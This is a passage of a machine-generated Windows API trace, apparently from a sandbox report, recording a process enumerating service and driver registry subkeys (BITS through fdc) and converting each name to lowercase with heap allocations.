(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.219] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0255.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0255.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.219] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0255.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0255.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.220] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0255.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0255.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.220] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0255.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0255.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.220] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0255.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0255.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.221] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0255.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0255.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.221] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0255.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0255.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.221] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0255.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0255.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.221] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0255.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0255.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.222] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0255.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0255.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.222] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0255.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0255.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.222] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0255.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0255.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0255.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0255.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0255.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0255.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0255.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0255.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0255.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.223] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0255.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0255.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0255.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0255.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0255.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0255.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0255.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0255.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0255.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0255.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0255.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0255.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0255.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0255.224] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0255.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0255.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0255.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0255.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0255.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0255.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0255.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0255.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0255.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0255.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0255.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0255.225] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0255.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0255.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0255.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0255.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0255.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0255.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0255.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0255.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0255.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0255.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0255.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0255.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0255.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0255.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0255.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0255.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0255.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0255.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0255.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0255.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0255.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0255.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0255.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0255.227] RegEnumKeyW (in: hKey=0x148, 